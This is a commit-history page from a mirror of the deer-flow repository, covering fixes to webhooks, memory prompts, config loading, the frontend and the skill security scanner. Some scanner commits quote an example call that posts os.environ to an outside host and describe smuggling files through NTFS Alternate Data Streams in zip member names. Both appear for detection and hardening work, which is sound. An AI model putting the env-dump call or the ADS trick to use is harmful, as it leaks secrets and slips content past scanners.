mirror of
https://github.com/bytedance/deer-flow.git
synced 2026-07-20 09:45:47 +00:00
main
2689
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
cd34a1a504 |
fix(skills): don't attach model tracing to the in-graph skill security scan (#4252)
* fix(skills): don't attach model tracing to the in-graph skill security scan * fix(skills): pass attach_tracing explicitly from the in-graph scan call site Follow the tracing INVARIANT's own convention rather than detecting the call context: scan_skill_content takes an attach_tracing flag, and _scan_or_raise -- the single in-graph choke point -- passes False. Standalone callers (Gateway skill routes, installer) keep the default True. The INVARIANT list named four sites and asks that new in-graph calls be added to it; record this fifth one so a future audit of that list finds it. --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com> |
||
|
Ryker_FengandGitHub
|
39cc26ddfc | feat(frontend): restore per-thread composer drafts (#4282) | ||
|
Daoyuan LiandGitHub
|
474a0fd6b7 |
fix(gateway): correct GitHub auto-retry claim in webhook route docs (#4289)
While investigating a review on PR #4274 (which corrected the same misconception in the channel manager's dedupe-TTL comment), I found a more elaborate version of the same factual error in this route, predating that PR: the docstring claimed "GitHub retries 5xx deliveries with exponential backoff (up to ~5 attempts over ~8 hours)". No such behavior exists. Verified directly against GitHub's documentation: failed deliveries (5xx, timeout, connection error alike) are simply recorded as failed and never automatically redelivered, for both repository and GitHub App webhooks (https://docs.github.com/en/webhooks/using-webhooks/handling-failed-webhook-deliveries). Redelivery is always explicit: the "Redeliver" button, the REST API, or an operator's own recovery script (GitHub's own recommended pattern for the latter runs on a 6-hour cron, illustrating this is opt-in operator tooling, not a GitHub-side mechanism). The 503-vs-200 status code choice itself was already correct and is unchanged: 503 keeps a transient failure recorded as failed so it can be recovered via one of the explicit paths above, while 200 correctly marks permanent/non-retryable conditions (disabled channel, unknown event, missing service) as done so no pointless redelivery is invited. Only the rationale text describing *why* was wrong. - github_webhooks.py: reworded the route docstring and four inline comments/log messages that repeated "GitHub retries" / "so GitHub retries" framing, citing the actual documented behavior. - test_github_webhooks.py: renamed test_dispatch_failure_returns_503_so_github_retries to test_dispatch_failure_returns_503_not_200 and reworded its docstring plus two nearby docstrings/comments with the same framing. No assertions changed - same status codes and response bodies checked. - AGENTS.md: corrected the GitHub Webhooks router table row to match. All 44 tests in test_github_webhooks.py pass, plus the full test_github_dispatcher.py / test_github_channel.py / test_github_registry.py / test_channels.py suites (313 total). ruff check and ruff format --check are clean on both touched Python files. |
||
|
|
a9a57fb711 |
fix(gateway): handle null config.configurable in _resolve_thread_id (#4301)
* fix(gateway): handle null config.configurable in _resolve_thread_id
`_resolve_thread_id` read the thread id with
`(body.config or {}).get("configurable", {}).get("thread_id")`. The
`.get("configurable", {})` fallback only applies when the key is absent.
`RunCreateRequest.config` is typed `dict[str, Any] | None`, so a client
can send `{"config": {"configurable": null}}`; the key is then present
with value `None`, and `None.get("thread_id")` raises `AttributeError` —
an unhandled HTTP 500 on `POST /api/runs/stream` and `/api/runs/wait`.
Coalesce the inner value with `or {}` so a null `configurable` yields a
freshly generated thread id, matching the docstring ("or generate a new
one") and the behaviour of `config: null` / `configurable: {}`. The
sibling `_checkpoint_configurable` in thread_runs.py already guards the
same field defensively. Behaviour is byte-for-byte identical for every
input that worked before.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* style: ruff format the new test (lint-backend runs ruff format --check)
Collapse the multi-line assert ruff format flags; behaviour unchanged.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* Also coerce null configurable in build_run_config, not just _resolve_thread_id
---------
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
||
|
|
de024646a7 |
feat(memory): memory template externalization (#4286)
* feat(memory): template externalization — externalized prompts + signal patterns Externalize two categories of hardcoded content in the DeerMem memory backend so operators can customise them without touching Python code. Prompt externalization (plugin 06): - 4 memory extraction prompts moved from Python string constants to YAML files under core/prompts/ (consolidation / fact_extraction / memory_update.chat / staleness_review). - load_prompt(name) and load_prompt_messages(name, variables) loaders. - memory_update uses the chat format (system / user message split) for prompt-caching-friendly system prefixes; other prompts stay text. - The extraction callback + per-agent prompt directories + Jinja2 dependency are intentionally not included (minimal surface). - Compatible with the upstream prompt additions from #4143 (expected_valid_days, staleFactsToExtend, KEEP/REMOVE/EXTEND in staleness review). Signal-pattern externalization (plugin 07, regex only): - Correction and reinforcement detection patterns externalised to core/message_patterns/{correction,reinforcement}.yaml. - load_patterns(name, patterns_dir) loader with bundled defaults. - detect_correction / detect_reinforcement accept a keyword-only patterns= parameter; signatures are backward-compatible. - patterns_dir config field added to DeerMemConfig. - Importance scorer (importance.py, build_importance_scorer, _prepare_update changes) is NOT included — deferred to a later PR. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): fail loudly on invalid yaml in prompt/pattern loaders Replace silent error handling in load_prompt / load_prompt_messages / load_patterns so malformed yaml or missing required keys raise ValueError with the file path rather than a raw YAMLError traceback or silent empty-string / empty-list return. Changes: - load_prompt: YAMLError -> ValueError(path); missing/empty 'template' key -> ValueError - load_prompt_messages: YAMLError -> ValueError(path); missing/empty 'messages' key -> ValueError; KeyError from .format (placeholder mismatch) -> ValueError - load_patterns: YAMLError -> ValueError (was silent warn+return []). OSError still degrades (permission, not format). Not-a-list yaml -> ValueError (was silent warn+return []). Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): wire prompts_dir through updater, fail-loud patterns_dir, bump config_version Addresses PR feedback on the template-externalization PR: P1 — Wire prompts_dir into the DeerMem update path: - Add prompts_dir field to DeerMemConfig (default None = bundled defaults). - Thread it through DeerMem -> MemoryUpdater.__init__(prompts_dir=). - _build_staleness_section / _build_consolidation_section accept prompts_dir= keyword and call load_prompt() instead of relying on module-level shim constants. - _prepare_update_prompt passes prompts_dir to load_prompt_messages and to both section builders. - Add _PROMPT_CACHE to load_prompt so repeated lookups (once per memory-update cycle) do not re-read yaml from disk. P2 — Explicit patterns_dir must find its files: - When patterns_dir is explicitly set and a YAML file is missing, load_patterns() raises FileNotFoundError instead of silently caching an empty list. Bundled defaults (patterns_dir=None) still log a WARNING and return [] for a missing bundled file (packaging bug). P3 — Bump config_version and sync Helm: - config.example.yaml: 26 -> 27 - deploy/helm/deer-flow/values.yaml: 26 -> 27 - deploy/helm/deer-flow/README.md: 26 -> 27 - scripts/check_config_version.sh confirms parity. Tests: 224 passed (218 memory + 6 config_version). Lint: ruff check + ruff format --check pass. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): cache load_prompt_messages, validate format fields, fail-loud load_patterns Review feedback from willem-bd: Cache for load_prompt_messages: Add _CHAT_TEMPLATE_CACHE + _render_messages() helper so the parsed chat templates are cached per (name, agent, prompts_dir). On cache hit only .format() rendering runs; the yaml file is read once per key. Validate format field in both loaders: load_prompt rejects format='chat' (redirects to load_prompt_messages); load_prompt_messages rejects format='text' (redirects to load_prompt). Prevents operators from loading a chat yaml via the text loader (or vice versa) without a clear error. Load_patterns fail-loud for explicit directories: - OSError (permission, etc.) now raises for explicit patterns_dir instead of silently disabling detection. - Malformed entries (missing/empty pattern key, wrong type) are skipped with a WARNING instead of silent skip. - Unknown flag names are warned instead of silently dropped. - re.error from compile() raises ValueError with file path and entry index instead of a bare re.error traceback. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): thread agent_name through section builders, validate explicit prompts at construction, bump config_version to 28 P1 — Thread agent_name through staleness/consolidation section builders: _build_staleness_section and _build_consolidation_section now accept agent_name= and pass it to load_prompt(), so per-agent prompt overrides work for section templates too (not just memory_update). Previously only prompts_dir was threaded; agent_name was ignored for section builders. P1 — Validate explicit prompts at DeerMem construction: When DeerMemConfig.prompts_dir is explicitly set, DeerMem.__init__ now pre-loads all four prompt templates (staleness_review, consolidation, fact_extraction, memory_update with dummy variables) at construction time. A missing file, malformed YAML, or invalid placeholder raises immediately at startup instead of being caught by the updater's generic error handler and silently dropped as a failed update. P2 — Advance config_version to 28: Upstream main already consumed the previous 26→27 bump with a different schema change. Bump config.example.yaml, Helm values.yaml, and Helm README.md to 28 to version this PR's patterns_dir and prompts_dir additions. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): render text templates at construction, propagate PromptConfigurationError Keep prompt-configuration failures out of the recoverable update catch: - Define PromptConfigurationError(ValueError) in prompt.py. Raised by load_prompt, load_prompt_messages, and _render_messages for bad yaml, missing keys, and invalid placeholders. - _do_update_memory_sync_impl, update_memory's executor path, and _process_queue all re-raise (PromptConfigurationError, FileNotFoundError, OSError) before the generic except Exception, so a bad explicit prompt is never silently returned as False. - DeerMem.__init__ prompt validation now renders text templates with dummy variables (.format(stale_facts="") etc.) so an unknown placeholder in staleness_review.yaml, consolidation.yaml, or fact_extraction.yaml is caught at construction. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): drop re-raise guards, soften validation comment, exclude dormant fact_extraction - Remove (PromptConfigurationError, FileNotFoundError, OSError) re-raise guards from _do_update_memory_sync_impl, update_memory executor path, and _process_queue. The existing except Exception: logger.exception(...) already logs prompt-config errors at ERROR with full traceback; the re-raise was killing the entire batch and only surfacing via stderr. Per-agent override errors now log at ERROR per-item without aborting co-tenant updates. - Soften the construction validation comment to clarify it only covers global templates. Per-agent overrides are validated lazily at first use and logged at ERROR by the updater's exception handler. - Drop fact_extraction from construction validation (dormant prompt with no runtime caller; the shim + yaml remain for backward compat). Co-Authored-By: Claude <noreply@anthropic.com> --------- Co-authored-by: Claude <noreply@anthropic.com> |
||
|
AariandGitHub
|
a8bf54cbbb |
feat(skillscan): detect exfil through instance/dataflow network clients (#4265)
* feat(skillscan): detect exfil through instance/dataflow network clients * fix(skillscan): resolve client handles with Python lexical scopes _walk_client_nested_scope copied every live handle into a nested scope after excluding only parameters. That is not Python's name resolution: a class namespace is not a closure scope for its methods, a function-local binding shadows an enclosing name across the whole body, and comprehensions bind their targets in a scope of their own. Benign skills were therefore blocked as python-env-dump-exfil (CRITICAL) even where the outbound-looking call provably cannot run on the tracked client. Derive each scope's bindings lexically instead: - a class body reads its enclosing scope, but the names it binds are not passed into the methods defined in it; - comprehensions are their own scope, so only the outermost iterable is evaluated outside and every for-target shadows first; - a function-local prepass excludes names the body binds anywhere, with global/nonlocal opting back out. Detection is unchanged where the client really is reachable: a comprehension calling an unshadowed handle, a method closing over an enclosing function's handle, and a global-declared module handle all still block. * fix(skillscan): apply target rebinding in Python evaluation order The generic ast.iter_child_nodes() fallback yields fields in declaration order, which for `for`/`async for`, `:=` and `+=` puts the binding target ahead of the expression Python evaluates to produce it. Visiting the target first dropped the handle before the call that actually runs on it, so `for s in s.post(host, ...)` reported nothing even though Python calls post() on the client before binding the loop target. Match captures bind through a plain `name` string rather than a Name node, so the Store branch never saw them and a rebound name kept a stale handle. Assignment expressions inside a comprehension were applied only to the comprehension-local map, leaving the containing scope stale as well. Give every bind-after-evaluate construct its own branch: - `for`/`async for` walk the iterable against the pre-loop binding, then rebind the target, then walk the body; - `:=` walks its value first and binds into the containing scope too, since PEP 572 puts a comprehension's walrus target there; - `+=` walks its value before dropping the target; - match captures drop the handle, matching how a rebind under `if`/`try` that may equally not execute is already treated. The bypasses this closes are the reason detection widens here; the comprehension walrus and match cases narrow it back where the client provably cannot be the receiver. * fix(skillscan): preserve scoped client handle semantics * fix(skillscan): scan sinks inside assignment target expressions The Assign/AnnAssign, AugAssign, For/AsyncFor, with, and comprehension branches evaluated only the value and rebound the target, so a client call placed in an attribute receiver or a subscript value/index -- both evaluated at bind time -- was never scanned. os.environ could exfil through a tracked client while python-env-dump-exfil reported nothing. Add _walk_client_target_exprs to walk the executable parts of a binding target (attribute receiver, subscript value+slice, recursing through tuple/list/starred) in Python evaluation order, without treating Store name leaves as reads. The AnnAssign annotation expression is walked too. Name-leaf invalidation is unchanged. * fix(skillscan): apply assignment targets and annotations in runtime order The round of assignment-target scanning walked every target then rebound the names in one batch, and always walked an AnnAssign annotation before the target. Python instead binds chained and destructured targets left to right (so `session = out[session.post(...)] = cfg` runs the subscript on the already-rebound name), evaluates a variable annotation only in module or class scope (never in a function, never under `from __future__ import annotations`), and evaluates an executed annotation after the target. The scanner therefore hard-blocked benign skills. Bind each target left to right via _bind_client_targets (walk its executable sub-expressions against the current bindings, then rebind before the next target), and walk an annotation only for the nodes _evaluated_annotation_nodes marks as actually evaluated, after the target. Target-expression scanning and name-leaf invalidation are otherwise unchanged. * fix(skillscan): scan client sinks in evaluated function-signature annotations A function's parameter and return annotations are evaluated at def time in the enclosing scope, like its decorators and defaults, so a tracked client sink placed in one is a real egress. _client_scope_prelude walked the decorators and defaults but not the annotations, so os.environ could exfil through `def f() -> session.post(host, json=dict(os.environ))` while python-env-dump-exfil reported nothing. Record function/async-function defs in _evaluated_annotation_nodes (their signatures evaluate at def time unless from __future__ import annotations postpones them) and, for those nodes, add the parameter and return annotation expressions to the enclosing-scope prelude walk. * fix(skillscan): match runtime evaluation order for annotations and except handlers * fix(skillscan): scope try/match branches to their own selection state * fix(skillscan): propagate branch bindings to everything that observes them A branch's net effect has to be visible exactly where Python makes it visible. The walker isolated `except`/`else`/`match` bodies into scope copies and then discarded them, so a client created on the branch was invisible to `finally`, to the code after the statement, and to anything defined inside the branch, while a name the branch replaced stayed a sink receiver. - `except*` clauses are sequential, not alternatives: thread one scope through body, clause types and clause bodies in source order instead of reusing the mutually exclusive copies ordinary `except` needs. - Fold each `except`/`else`/`match` branch's net effect back into the scope that `finally` and the following code read, and make the branch scope what nested definitions close over. - Keep a fallthrough scope across `match` guards, so a guard that returned false still hands its side effects to the next case, while pattern captures stay isolated to their own case. - Keep an `as` target path-local: Python unbinds it only on the path that ran, so dropping it for every path erased a live handle where no such handler executed. Adds a 14-case runtime-oracle regression covering both directions at every branch site; each of the ten guards was deleted on its own to confirm the test that pins it goes red. * fix(skillscan): join alternative branches instead of overwriting one with another Only one of a statement's alternative branches runs, but the walker folded each one into a single destructive binding map. Whichever branch was visited last therefore decided the state: a handler that rebinds the name erased a sibling that leaves the client in place (missing a client Python really calls), and a handler that builds one was credited on paths where it never ran (inventing a CRITICAL sink). Alias targets had the mirror problem, since only key presence was compared, so replacing `import x as name` on a live branch was ignored. - Join alternatives into a may-state: a name stays a sink receiver when any feasible branch leaves it a client, and stops being one only when every feasible branch replaced it. Alias targets join toward the target that can still name a constructor. - Treat each `except*` clause as optional rather than threading every clause body unconditionally, so a clause whose type never matched cannot erase a handle the next clause calls. - Keep the fall-through state (no exception raised, no case matched) as one more alternative, and drop it only where the source decides the outcome: a literal always-raising body selecting one handler, a literal exception group choosing `except*` clauses, a wildcard or literal-equal `match` case. Also corrects an existing match-capture test that asserted the non-exhaustive case is benign: the runtime oracle shows the original client still takes the call on the path where nothing matched. Adds runtime-oracle regressions for both directions at every alternative site; each of the nine guards was deleted on its own to confirm the test pinning it goes red. * fix(skillscan): model feasible conditional client flow * fix(skillscan): preserve feasible control-flow outcomes * fix(skillscan): model expression evaluation paths * fix(skillscan): narrow instance-client detection to lexical statement order The construction-to-use signal had grown into a path-aware interpreter: exception selection, except* subgroup consumption, match capture timing, finally override, comprehension laziness, annotation evaluation order, and may-state joins over feasible branches. That is the heavyweight analysis RFC #2634 rules out of Phase 5, and because the signal feeds a CRITICAL rule it hard-blocks skill installation, so every ambiguity it resolved by over-reporting cost a benign skill instead of a human review. Replace it with ordinary statement order over a one-level handle map: a known constructor bound to a simple name (including `with ... as`), a direct outbound method call on that name in the same lexical scope, rebinding invalidation, and name-to-name alias propagation so `s = session` does not shed the handle. A sink is recorded at the call, so a rebind after the call cannot retract it. Compound statements are not interpreted. Every name an if/try/except*/loop/ match may bind is dropped before its bodies are walked, and each body is walked from an isolated copy. Dropping before rather than after is what keeps a `finally` that runs after a handler rebound the name, a later except* clause, and a second loop iteration from reporting a client the runtime never calls. Bodies are still walked, or wrapping any construction in `if True:` would be a universal bypass. Lexical scoping is unchanged: class namespaces are not closures for their methods, comprehension targets and function-local bindings shadow, and alias visibility stays per scope. The cases this gives up are false negatives by construction and are recorded in #4296, pinned by a test that asserts the runtime really calls the client while the scanner stays silent. Verified: 102 SkillScan tests; full suite 8 failed / 7851 passed, the same network-dependent web-fetch tests that fail on clean main; per-clause red check 12/12 guards red; 925 repo-owned files scanned branch vs main with 0 new and 0 lost CRITICAL findings; #4158 bypass BLOCKED and #4153 false positive allowed with 0 findings through the real enforce_static_scan gate. * test(skillscan): pin closure boundary * refactor(skillscan): narrow client handle analysis * fix(skillscan): close client handle correctness gaps * fix(skillscan): require proven client imports |
||
|
Daoyuan LiandGitHub
|
0cd55067f3 |
fix(skills): reject colon in zip member names to close NTFS ADS smuggling gap (#4236)
Neither is_unsafe_zip_member (installer.py) nor its duplicated check in skillscan/orchestrator.py rejected a colon in a zip member name. On Windows/NTFS, a name like scripts/run.sh:hidden.txt addresses an Alternate Data Stream on run.sh instead of creating a new file, so the hidden content is invisible to Path.rglob()/os.walk()-based scanning in both the deterministic static scanner and the extracted-file content scanner, while still landing genuinely on disk. Reject any colon in a zip member's relative path outright in both files; a colon has no legitimate use there since zip entries use forward slashes and a real Windows drive prefix is already caught by the existing absolute-path check. |
||
|
Daoyuan LiandGitHub
|
3ed2e1f1d9 |
fix(config): close out #4124 review follow-ups (shared signature helper, resolve_config_path None contract) (#4275)
* fix(config): close out #4124 review follow-ups Extracts the (mtime, size, sha256) content-signature helper that was duplicated between config/app_config.py and mcp/cache.py into a new config/file_signature.py, and fixes ExtensionsConfig.resolve_config_path() to return None instead of raising FileNotFoundError when an explicit config_path argument or DEER_FLOW_EXTENSIONS_CONFIG_PATH points at a file that has since been deleted -- the exact resolution mode Docker dev/prod uses per AGENTS.md, so the MCP tools-cache staleness check could raise instead of degrading to "not stale". Both were flagged by willem-bd in review on #4124 and explicitly deferred there ("flagging for visibility", "leaving the extraction as the follow-up you suggested"). * fix(config): keep explicit extensions-config paths fail-loud resolve_config_path() previously turned every missing-file case into a clean None, including an explicit config_path argument or DEER_FLOW_EXTENSIONS_CONFIG_PATH (the exact mode Docker dev/prod uses). That silently downgrades a bad Docker mount, typo, or deleted production config to "no extensions" instead of surfacing the misconfiguration, per fancyboi999's review [P1] and willem-bd's follow-up notes on this PR. Restores FileNotFoundError for the two explicit modes (config_path argument, DEER_FLOW_EXTENSIONS_CONFIG_PATH); only the fallback search mode (no explicit path/env var, nothing found in the usual locations) still returns None, since that is the legitimate "extensions were never configured" case. The one caller that needs the old fail-soft behavior -- the MCP tools-cache staleness check, which re-resolves the path on every get_cached_mcp_tools() call -- gets a narrow, local catch instead (deerflow.mcp.cache._resolve_config_path) so a config file going missing mid-run still degrades the cache to "not stale" rather than crashing a hot per-request path. Also hoists the double os.getenv() read in the env-var branch into a local, per willem-bd's nit. Adds resolver-level tests for both explicit-path and env-var raises, a dedicated search-mode None regression test, and updates the existing MCP-cache docstrings to describe the corrected split. |
||
|
Daoyuan LiandGitHub
|
9a5d701355 |
fix(channels): document GitHub dedupe TTL, tighten redelivery tests (#4274)
* fix(channels): document GitHub dedupe TTL, tighten redelivery tests Follow-up to PR #4104's review, whose non-blocking notes were left unaddressed at merge time: - Document the previously-undocumented inbound-dedupe TTL (INBOUND_DEDUPE_TTL_SECONDS, 10 min, in-memory only) directly above the constant in ChannelManager: what it is, why the window, and what happens at the boundary (a manual "Redeliver" clicked after the TTL has elapsed, or any redelivery after a Gateway restart, is not deduped, since _recent_inbound_events is never persisted to ChannelStore). Cross-reference it from the GitHub dispatcher's fan-out comment, which previously implied unconditional redelivery coverage. - test_channels.py::test_github_redelivery_is_deduped_like_other_channels: the _gh helper stamped a 2-part delivery:agent id while production stamps a 3-part delivery:user:agent id. Align the helper with the real shape and add a cross-user assertion the old 2-part shape could not even express. - test_github_dispatcher.py::test_missing_delivery_header_leaves_dedupe_open: previously only asserted the dispatcher-layer id was None. Add the manager-level _is_duplicate_inbound assertion across two header-less deliveries so a future regression that treats a missing id as a real key is caught here too, not only at the dispatcher layer. All four affected test files (test_github_dispatcher.py, test_channels.py, test_github_channel.py, test_github_registry.py) pass; ruff check and ruff format --check are clean. Verified the two tightened tests actually discriminate by temporarily reintroducing each bug they target (2-part id shape; missing-id treated as a real key) and confirming the new assertions fail, then reverting. * fix(channels): correct GitHub redelivery claim in dedupe comments fancyboi999's review on this PR flagged that the previous commit's new comments (manager.py, dispatcher.py) justified the 10-minute dedupe TTL by claiming GitHub automatically retries a failed delivery after its 10-second timeout. GitHub's own documentation says the opposite: failed deliveries (non-2xx, timeout, connection error) are recorded as failed and never automatically redelivered, for both repository and GitHub App webhooks alike. Every redelivery is explicit: the "Redeliver" button, the REST API, or an operator's own recovery script. - manager.py: rework the INBOUND_DEDUPE_TTL_SECONDS comment to state GitHub's actual behavior (no auto-retry), cite the authoritative doc (docs.github.com/en/webhooks/using-webhooks/handling-failed-webhook-deliveries), and justify the 10-minute window as a bound on explicit near-term replays rather than an automatic-retry window. No longer asserts unverified retry behavior for the other channels either. - dispatcher.py: same correction for the dedupe_message_id comment, which previously implied "retried after a timeout" as a distinct, automatic case alongside the manual "Redeliver" button. - test_channels.py / test_github_dispatcher.py: reworded the two docstrings and one section comment that repeated the same "retry-on-timeout" framing, so the corrected mental model doesn't sit next to contradicting prose nearby. No assertions changed. Verified directly against GitHub's current documentation (fetched, not paraphrased from memory): "Handling failed webhook deliveries" states plainly that GitHub does not auto-redeliver; "Automatically redelivering failed deliveries for a GitHub App webhook" / "...for a repository webhook" are both guides for a user-written recovery script (GitHub's own example runs on a 6-hour cron), not a native GitHub feature. No difference in this behavior between GitHub Apps and repository webhooks. All four affected test files pass; the two `test_bot_login_whitespace_only` / `test_trigger_mention_login_whitespace_only` failures in test_github_dispatcher.py are pre-existing on this branch's unmodified HEAD (confirmed against a clean checkout of the same commit) and are unrelated to this change. ruff check and ruff format --check are clean on all four touched files. |
||
|
Ryker_FengandGitHub
|
532111b2e6 | fix(frontend): encode thread IDs in chat routes (#4302) | ||
|
Daoyuan LiandGitHub
|
d075be0277 |
fix(browserless): surface target-page error status in web_fetch_tool (#4239)
* fix(browserless): surface target-page error status in web_fetch_tool Browserless returns HTTP 200 for the render request itself even when the target page responded with a 4xx/5xx or served an anti-bot block page, tagging the real outcome on X-Response-Code/X-Response-Status headers. capture_screenshot/web_capture_tool already reads these headers and surfaces a warning via _target_status_warning. fetch_html only logged them at debug level and web_fetch_tool returned the block/error page's raw text as if it were a normal successful fetch, with no indication anything was wrong. fetch_html now returns a BrowserlessFetchResult carrying the rendered HTML plus the target-status headers (mirroring BrowserlessScreenshotResult), and web_fetch_tool appends the same _target_status_warning used by web_capture_tool when the target page errored. Legitimate 200-target fetches are unaffected. * fix(browserless): keep fetch_html() returning a plain string BrowserlessClient is re-exported from deerflow.community.browserless.__all__, so fetch_html() is public harness API with an established str-only contract: the rendered HTML on success, or an "Error: ..." string on failure. Changing its return type to BrowserlessFetchResult broke that contract for any caller that treats the result as a string (.lower(), concatenation, passing to a parser), even when the fetch itself succeeded. fetch_html() is now a thin wrapper that always unwraps back to the original str contract. The richer, status-aware result (needed to tell a genuine 200 apart from a render-succeeded-but-target-errored response) moves to a new fetch_html_with_status() method, which web_fetch_tool now calls instead so it keeps surfacing the target-page-error warning. Tests: retarget the tool-level mocks onto fetch_html_with_status, add a direct regression asserting fetch_html() returns str on success - including when the target page itself errored under a 200 render response - and keep the status-aware coverage on the new method. |
||
|
|
5b65d543b1 |
fix(channels): key inbound dedupe on chat-scoped workspaces (#4287)
* fix(channels): key inbound dedupe on chat-scoped workspaces * fix(channels): release the inbound dedupe key on swallowed transient failures _release_inbound_dedupe_key runs from _handle_message's generic exception handler, but three sites handle their error in place and never re-raise, so the key recorded on receipt survives the full dedupe TTL and the provider's redelivery -- the retry that would have recovered the failure -- is dropped: - _handle_streaming_chat swallows every stream error into its finally block - the fire-and-forget runs.create busy branch - the non-streaming runs.wait busy branch Keying chat-scoped workspaces gives telegram/feishu/wechat/dingtalk a dedupe key for the first time, which newly exposes them to this. The mechanism is pre-existing, not introduced here: WeCom already had a key (streaming plus aibotid) and shows the same black hole on main. Also parametrize the dispatch dedupe test over all three chat-scoped providers so the streaming path is covered end-to-end, and restate the workspace-fallback comment in terms of what the chain actually guarantees -- both fallbacks are appended last and gated on every earlier source being absent, so they can only turn "no key" into a key, never change one. * fix(channels): publish final reply before dedupe release --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com> |
||
|
Hanchen QiuandGitHub
|
d2f8f61e3a |
fix(skills): add security_fail_closed option for moderation model outages (#4297)
* fix(skills): add security_fail_closed option for moderation model outages When the skill security moderation model call fails, scan_skill_content previously blocked ALL content (executable and non-executable), which turns a moderation-model outage into a denial of service for skill writes. Add a skill_evolution.security_fail_closed option (default True, preserving current behavior). When set to False, non-executable content is allowed with a warn decision during an outage while executable content is still blocked. Closes #3021 * fix(config): bump config_version to 27 and format skill_evolution config Address review feedback on #4297: - Bump config_version 26 -> 27 so existing installs are flagged outdated and pick up skill_evolution.security_fail_closed via make config-upgrade. - Apply ruff format to skill_evolution_config.py to satisfy the backend formatting gate. - Add config-version/upgrade regression tests covering the v26 outdated warning and merging security_fail_closed without changing user values. * fix(helm): bump chart config_version to 27 to match config.example.yaml Keeps deploy/helm/deer-flow/values.yaml and its README example in sync with the config schema bump, satisfying scripts/check_config_version.sh (validate-chart CI). * fix(skills): surface fail-open security scan in logs Address @willem-bd review feedback on #4297: - Log an operator-visible warning when the moderation model is unavailable and fail-open lets non-executable skill content through as a warn, so a skipped scan is no longer silent. - Reword the model-call-failed log so it stays accurate under both fail-closed and fail-open policy instead of always claiming a "conservative fallback". - Add a regression test asserting the fail-open warn path emits the warning log. |
||
|
luo jiyinandGitHub
|
271a921baf |
refactor(sandbox): reuse E2B kill helper during eviction (#4298)
* refactor(sandbox): reuse E2B kill helper during eviction * test(sandbox): preserve close on kill lookup failure |
||
|
|
867235389d |
Add trace-based behavioral tests with Monocle Test Tools (#4025)
* Add Monocle behavioral test suite Trace-based tests under tests/monocle/ asserting against the agent's Monocle execution traces: 4 offline tests load a recorded trace by file (with_trace_source), one per curated question, plus 1 live end-to-end test. Fluent structural asserts (agent, tools, input/output, token/duration budget); additive only, no app-code changes. * Address review: restructure suite, move under backend/tests/monocle/ Responds to the review on this PR. Behavioural coverage is now the live tests, not frozen fixtures. Keep one offline test as a worked example of the fluent assertion API (loads a recorded trace by file, no keys), and add two live tests that drive the agent end-to-end through DeerFlowClient and assert on the trace the real run emits (web-research and sandbox paths). The live tests skip without OPENAI_API_KEY or the app. Other review fixes: - Move the suite under backend/tests/monocle/ so backend pytest collects it. - Split helpers into _helpers.py; conftest is fixtures-only (run_agent), with Monocle setup owned by the validator and .env load scoped to the live path. - Resolve the model from config.yaml instead of hardcoding gpt-4o; skip the live tests when config.yaml is absent. - Keep one trace with a stable name (web_research_ev_battery.json); drop the other three (removes ~2,200 lines of fixture blobs). - Drop the flaky wall-clock duration bound on live runs. - Keep monocle_test_tools in a standalone requirements.txt rather than the backend dev group: it hard-depends on the ML eval stack (torch, transformers, sentence-transformers, ~48 packages, +950 lines in uv.lock), so isolating it keeps the app's locked deps clean. importorskip skips the suite when absent. * docs(monocle tests): explain the golden-trace workflow Add a "How this is meant to be used" section: capture a run you are happy with as a golden, labelled trace, turn it into assertions (the offline example), then point the same assertions at the live agent so every later run has to reproduce that behaviour. * Address review: fix docstring pytest paths, state the suite is not run in CI The docstring commands now use the backend/tests/monocle/ form (matching the README, which also gains the backend-dir uv variant), and the README states explicitly that the suite is skipped in CI and run on demand. * Address review: document the committed trace, pin assertions context - README: new section on the committed trace. It is a full, unmodified real-run recording (system prompt of the recording date + fetched web content, no credentials), committed whole so the offline example parses a genuine trace. The offline assertions are pinned to this trace and the monocle_apptrace 0.8.8 span shapes; re-record when prompt, tools, or model change. - README: note that the monocle_trace_asserter fixture comes from monocle_test_tools' auto-registered pytest plugin (pytest11 entry point). - test_deerflow.py: comment why web_fetch asserts min_count=2 rather than the recorded exact count of 5 (fetch counts vary run to run; keep it a floor). - requirements.txt: loose pin python-dotenv>=1.0. * Address review: make live tests explicit opt-in, drop OpenAI-only gate Two execution-gating fixes from review: - Live tests are now opt-in via MONOCLE_LIVE_TESTS=1 (default off). Previously the documented offline command collected the live tests too, and on a configured checkout (.env + config.yaml present) they would run for real, spending model tokens and hitting the network. Now the plain `pytest backend/tests/monocle/` run cannot go live regardless of what credentials are present; test_live_gate_defaults_off pins the gate. - The run_agent fixture no longer requires OPENAI_API_KEY. config.yaml resolves the model, which may be any provider (Anthropic, Gemini, Volcengine, ...), so a hard-coded OpenAI gate skipped valid configurations and passed invalid ones. Credentials are validated by the configured model itself. README and docstrings updated to match: offline command is offline by construction, live is MONOCLE_LIVE_TESTS=1, credentials described as the configured model's rather than OpenAI's. Verified both modes: default run is 2 passed 2 skipped with no network; opted in, all 4 pass with real end-to-end runs. --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com> |
||
|
VectorPeakGitHubchatgpt-codex-connector[bot] <199175422+chatgpt-codex-connector[bot]@users.noreply.github.com> |
65792c20a5 |
fix(frontend): encode artifact URL path segments (#4278)
* fix(frontend): encode artifact URL path segments Co-authored-by: chatgpt-codex-connector[bot] <199175422+chatgpt-codex-connector[bot]@users.noreply.github.com> * fix(frontend): preserve markdown artifact URL suffixes --------- Co-authored-by: chatgpt-codex-connector[bot] <199175422+chatgpt-codex-connector[bot]@users.noreply.github.com> |
||
|
AariandGitHub
|
bc9c027a54 |
fix(uploads): claim the converted markdown filename before writing it (#4288)
